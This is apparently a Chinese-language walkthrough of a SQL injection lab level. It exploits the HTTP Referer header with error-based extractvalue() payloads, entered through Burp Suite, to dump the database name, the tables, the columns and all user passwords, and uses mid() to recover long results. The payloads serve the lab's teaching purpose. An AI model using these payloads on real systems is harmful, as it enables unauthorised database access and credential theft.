先看一下源码,发现跟上一关的差别不太大,只有两处地方不太一样,
第一处的$uagent的值
该值是http请求头Referer的值,所以注入点就为http的Referer了
第二处是第二个SQL语句,一样用的是报错注入
所以在利用$uagent进行注入的时候,payload应该这样闭合
1',sql语句)#
所以先用burpsuite抓包,构造payload,查看一下数据库名
1',extractvalue(1,concat(0x5e,database())))#
接着爆表,构造payload
1',extractvalue(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))))#
接着爆字段,构造payload
1',extractvalue(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'))))#
接着查看值,构造payload
1',extractvalue(1,concat(0x5e,(select group_concat(password) from users))))#
由于报错回显最多32位字符串,所以导致了回显不全的问题,我们可以利用字符串截断函数进行截断回显,这里我们使用mid函数,截断查询语句,从第32位开始查看回显31位字符串,也就是mid(SQL语句,32,31)
为了查看剩下的密码,接着我们构造payload
1',extractvalue(1,concat(0x5e,mid((select group_concat(password) from users),32,31))))#
继续查看后续的密码,构造payload
1',extractvalue(1,concat(0x5e,mid((select group_concat(password) from users),64,31))))#
可以观察到,回显完了,继续截断也不会回显了,将上面的字符串连接起来就能得到完整的密码了